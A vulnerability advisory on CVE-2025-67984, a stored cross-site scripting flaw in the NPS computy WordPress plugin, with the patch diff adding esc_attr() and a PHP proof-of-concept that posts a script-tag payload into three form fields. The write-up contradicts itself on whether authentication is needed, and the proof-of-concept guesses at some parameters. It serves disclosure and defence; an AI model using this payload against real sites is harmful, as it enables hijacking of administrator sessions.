Atomic Edge analysis of CVE-2025-67984:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the NPS computy WordPress plugin. The vulnerability affects the plugin’s administrative interface component and has a CVSS score of 7.2 (High severity).
Atomic Edge research identified the root cause as insufficient output escaping in the plugin’s administrative form generation code. The vulnerable code resides in the file `nps-computy/class.nps-computy-admin.php` at lines 400-402. The plugin directly concatenates user-controlled variables `$data1`, `$data22`, and `$pol_name_value` into HTML `value` attributes without proper escaping.
An attacker can exploit this vulnerability by submitting malicious JavaScript payloads through the plugin’s administrative interface parameters. The attack vector requires access to the plugin’s administrative functionality, but the vulnerability description indicates unauthenticated access is possible. The payloads would be stored and later executed when an administrator views the affected page containing the injected script.
The patch adds WordPress `esc_attr()` function calls to sanitize the three user-controlled variables before output. In `nps-computy/class.nps-computy-admin.php`, lines 400-402 now wrap `$data1`, `$data22`, and `$pol_name_value` with `esc_attr()`. This ensures any HTML special characters in these values are converted to their HTML entities, preventing script execution while preserving the displayed text. The version number also increments from 2.8.2 to 2.8.3 in both `nps-computy/index.php` and the `NPS_COMPUTY_VERSION` constant.
Successful exploitation allows attackers to inject arbitrary JavaScript code that executes in the context of authenticated administrators. This can lead to session hijacking, administrative account compromise, site defacement, or malware distribution to site visitors. The stored nature means the payload persists and affects all users who view the compromised page.
--- a/nps-computy/class.nps-computy-admin.php
+++ b/nps-computy/class.nps-computy-admin.php
@@ -398,9 +398,9 @@
}
echo "<form method='post'>
- " . __("From", "nps-computy") . ": <input id='data1' class='input-medium datepicker' type='date' name='data1' value='" . $data1 . "'/>
- " . __("to", "nps-computy") . ": <input class='input-medium datepicker' type='date' name='data2' value='" . $data22 . "'/>
- " . __("Poll name", "nps-computy") . ": <input type='text' name='pol_name' value='" . $pol_name_value . "'/>
+ " . __("From", "nps-computy") . ": <input id='data1' class='input-medium datepicker' type='date' name='data1' value='" . esc_attr($data1) . "'/>
+ " . __("to", "nps-computy") . ": <input class='input-medium datepicker' type='date' name='data2' value='" . esc_attr($data22) . "'/>
+ " . __("Poll name", "nps-computy") . ": <input type='text' name='pol_name' value='" . esc_attr($pol_name_value) . "'/>
<input type='submit' style='margin-top: -3px' class='btn btn-success' value='" . esc_html(__("Calculate", "nps-computy")) . "'>
</form>
--- a/nps-computy/index.php
+++ b/nps-computy/index.php
@@ -1,7 +1,7 @@
<?php
/*
* Plugin Name: NPS computy
- * Version: 2.8.2
+ * Version: 2.8.3
* Text Domain: nps-computy
* Plugin URI: https://computy.ru/blog/plagin-nps-indeks-loyalnosti-klientov-dlya-wordpress/
* Description: Free monitoring of the NPS index (NPS) for your business. Simply add the shortcode [nps-computy] to the right place on the site, the rest of the work we will do for you.
@@ -16,7 +16,7 @@
add_action('init', array('Nps_Computy_Admin', 'init'));
}
/*Общие переменные*/
-const NPS_COMPUTY_VERSION = '2.8.2';
+const NPS_COMPUTY_VERSION = '2.8.3';
define('NPS_COMPUTY_PLUGIN_DIR', plugin_dir_path(__FILE__));
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// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67984 - NPS computy <= 2.8.2 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67984
* This demonstrates stored XSS in NPS computy plugin <= 2.8.2
* Requires valid WordPress authentication cookies for admin access
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=nps-computy';
// Malicious payload to inject into form fields
$payload = '"><script>alert(document.domain)</script>';
// Initialize cURL session
$ch = curl_init();
// Set target URL
curl_setopt($ch, CURLOPT_URL, $target_url);
// Enable POST request
curl_setopt($ch, CURLOPT_POST, 1);
// Construct POST data with XSS payload in vulnerable parameters
$post_fields = [
'data1' => $payload, // Injects into first date field
'data2' => $payload, // Injects into second date field
'pol_name' => $payload, // Injects into poll name field
// Additional required parameters may be needed based on form structure
'action' => 'nps_computy_calculate' // Example action parameter
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
// Return response for verification
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Set cookies if authentication required
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...');
// Execute request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch);
} else {
// Verify payload was injected
if (strpos($response, $payload) !== false) {
echo "Payload successfully injected. Stored XSS achieved.n";
echo "The script will execute when an administrator views the NPS computy page.n";
} else {
echo "Payload injection may have failed. Check authentication and parameters.n";
}
}
// Close cURL session
curl_close($ch);
?>